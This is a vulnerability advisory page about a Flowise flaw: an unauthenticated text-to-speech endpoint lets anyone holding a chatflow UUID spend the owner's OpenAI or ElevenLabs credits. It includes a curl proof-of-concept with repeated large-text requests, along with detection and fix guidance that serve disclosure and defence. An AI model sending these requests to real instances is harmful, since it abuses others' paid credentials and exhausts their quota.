NewApp Monitoring is liveSign up free
AgentbeamBeta
AI agent vulnerability · Flowise

GHSA-8gj2-2cvc-6xx7: Flowise: Unauthenticated Credential Abuse via Text-to-Speech Endpoint Allows Unauthorized Use of Private Chatflow TTS Credentials

mediumCVSS 4.0 6.3

Flowise 3.1.3 and earlier exposes `/api/v1/text-to-speech/generate` without authentication and never checks that the chatflow is public. Anyone who knows a chatflow UUID can run text-to-speech on the owner's stored OpenAI or ElevenLabs key and run up their bill. Upgrade to flowise 3.1.4.

Published Aug 4, 2026 · Analysis Oct 25, 2026

What an attacker can do

The route is on the unauthenticated whitelist (packages/server/src/utils/constants.ts). In generateTextToSpeech (packages/server/src/controllers/text-to-speech/index.ts), when there is no req.user the controller calls getChatflowById(chatflowId) with no workspace filter and no isPublic check. It reads the active provider's credentialId from the chatflow's textToSpeech config, and packages/components/src/textToSpeech.ts decrypts that credential and calls the provider.

The attacker needs a valid chatflow UUID with TTS enabled; private chatflows (isPublic: false) are affected too. One unauthenticated POST with chatflowId, chatId, chatMessageId and text returns an SSE stream of audio generated under the owner's key. Repeating it with 4096-character texts drives up cost; the advisory cites about $15 per million characters for OpenAI TTS.

The key itself is never returned. The harm is financial and availability: spending the owner's budget, and exhausting the provider quota so legitimate users of the chatflow lose speech output. Knowing a UUID is the real barrier, since the IDs are random.

Who is affected

The npm package flowise at version 3.1.3 and earlier, for any chatflow with a text-to-speech provider (OpenAI or ElevenLabs) configured and enabled. Check the version:

npm ls flowise

For Docker, check the image tag. To test your own exposure, send an unauthenticated POST to /api/v1/text-to-speech/generate for a private chatflow; an SSE response with tts_start means it is exposed.

flowise

Ecosystem
npm
Affected
<= 3.1.3
Fixed in
3.1.4
Check
npm ls flowise

How to fix it

Upgrade to flowise 3.1.4:

npm install -g [email protected]

The fix is pull request 6650. The advisory recommends that unauthenticated TTS requests are rejected with a 401 unless the chatflow is public, and suggests rate limiting the endpoint. No official workaround is listed. If you cannot upgrade, set spending limits on the OpenAI or ElevenLabs keys used by chatflows and rotate a key if you see unexplained usage.

How to tell if you were hit

Look at the provider side first: OpenAI or ElevenLabs usage dashboards showing a spike in text-to-speech characters. In Flowise access logs, search for unauthenticated POSTs to /api/v1/text-to-speech/generate, particularly repeated ones with large text bodies and made-up chatId values such as attacker-chat-1, or ones naming private chatflows. Responses that stream tts_start and tts_data events to anonymous clients confirm use.

Original advisory

From the GitHub Advisory Database (CC BY 4.0).

Summary

The /api/v1/text-to-speech/generate endpoint is whitelisted (requires no authentication) and accepts any chatflowId without checking whether the referenced chatflow is public. An unauthenticated attacker who knows a valid chatflow UUID can abuse that chatflow's TTS credential (OpenAI or ElevenLabs API key) to generate unlimited text-to-speech audio, incurring costs on the chatflow owner's account.

Details

The TTS generateTextToSpeech controller at packages/server/src/controllers/text-to-speech/index.ts:10-171 is whitelisted at packages/server/src/utils/constants.ts:41:

'/api/v1/text-to-speech/generate',

When a chatflowId is provided and the user is not authenticated (no req.user), the controller falls back to fetching the chatflow without workspace scoping:

// packages/server/src/controllers/text-to-speech/index.ts:36-42
if (workspaceId) {
    chatflow = await chatflowsService.getChatflowById(chatflowId, workspaceId)
} else {
    // Fallback: get workspaceId from chatflow when req.user.activeWorkspaceId is not set
    chatflow = await chatflowsService.getChatflowById(chatflowId)  // NO isPublic check
    workspaceId = chatflow.workspaceId
}

The getChatflowById function at packages/server/src/services/chatflows/index.ts:247-272 fetches any chatflow by ID when workspaceId is not provided:

const dbResponse = await appServer.AppDataSource.getRepository(ChatFlow).findOne({
    where: {
        id: chatflowId,
        ...(workspaceId ? { workspaceId } : {})  // No workspace filter when workspaceId is undefined
    }
})

The controller then extracts the TTS provider configuration from the chatflow:

// packages/server/src/controllers/text-to-speech/index.ts:51-66
const ttsConfig = JSON.parse(chatflow.textToSpeech)
const activeProviderKey = Object.keys(ttsConfig).find(key => ttsConfig[key].status === true)
const providerConfig = ttsConfig[activeProviderKey]
provider = activeProviderKey
credentialId = providerConfig.credentialId  // Extracted from private chatflow

This credentialId is then used to decrypt and use the stored credential (OpenAI or ElevenLabs API key) to make TTS API calls at packages/components/src/textToSpeech.ts:33-34:

const credentialId = textToSpeechConfig.credentialId as string
const credentialData = await getCredentialData(credentialId ?? '', options)

PoC

# Step 1: Know a chatflow UUID that has TTS enabled (any chatflow, public or private)
CHATFLOW_ID="<any-chatflow-uuid-with-tts-enabled>"

# Step 2: Abuse the TTS credential to generate audio without authentication
curl -X POST "http://localhost:3000/api/v1/text-to-speech/generate" \
  -H "Content-Type: application/json" \
  -d '{
    "chatflowId": "'${CHATFLOW_ID}'",
    "chatId": "attacker-chat-1",
    "chatMessageId": "msg-1",
    "text": "This is a test of unauthorized TTS generation using someone elses API key"
  }'

# Expected: Returns SSE stream with TTS audio data using the chatflow owner's OpenAI/ElevenLabs credentials
# event: tts_start
# data: {"event":"tts_start","data":{"chatMessageId":"msg-1","format":"mp3"}}
# event: tts_data
# data: {"event":"tts_data","data":{"chatMessageId":"msg-1","audioChunk":"<base64-audio>"}}

# Step 3: Repeat with large text to incur costs
curl -X POST "http://localhost:3000/api/v1/text-to-speech/generate" \
  -H "Content-Type: application/json" \
  -d '{
    "chatflowId": "'${CHATFLOW_ID}'",
    "chatId": "attacker-chat-2",
    "chatMessageId": "msg-2",
    "text": "'$(python3 -c "print('A' * 4096)")'"
  }'

Impact

  • Financial Impact: An attacker can generate unlimited TTS audio using the chatflow owner's OpenAI or ElevenLabs API credentials, incurring potentially significant costs. OpenAI TTS costs ~$15/1M characters; an attacker could generate large volumes of audio.
  • Credential Abuse: The attacker effectively gains indirect access to the stored API credentials without needing to authenticate or have any permissions. The credentials are not directly exposed but are used on behalf of the attacker.
  • Denial of Service: By exhausting the API quota/budget of the credential, the attacker can deny service to legitimate users of the chatflow.
  • Affects Private Chatflows: This vulnerability affects all chatflows with TTS configured, including those explicitly marked as private (isPublic: false).

Recommended Fix

  1. Check isPublic before allowing unauthenticated TTS generation:
// packages/server/src/controllers/text-to-speech/index.ts
if (chatflowId) {
    let chatflow;
    let workspaceId = req.user?.activeWorkspaceId;
    
    if (workspaceId) {
        chatflow = await chatflowsService.getChatflowById(chatflowId, workspaceId)
    } else {
        chatflow = await chatflowsService.getChatflowById(chatflowId)
        // Verify the chatflow is public before using its credentials
        if (!chatflow.isPublic) {
            throw new InternalFlowiseError(
                StatusCodes.UNAUTHORIZED,
                'TTS generation requires authentication for non-public chatflows'
            )
        }
        workspaceId = chatflow.workspaceId
    }
    // ... rest of the function
}
  1. Consider applying rate limiting to the TTS endpoint to prevent abuse even for public chatflows.

Credited to offset.

Questions

Is the API key leaked in this Flowise TTS flaw?

No. The advisory says the credentials are not directly exposed. They are used on the attacker's behalf, so the harm is cost and quota exhaustion.

Does it affect private chatflows?

Yes. Every chatflow with TTS configured is affected, including those marked isPublic: false, because the controller never checks the flag on the unauthenticated path.

What does the attacker need to know?

A valid chatflow UUID with TTS enabled. No account or token is needed.

References

How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology

More Flowise vulnerabilities

All Flowise entries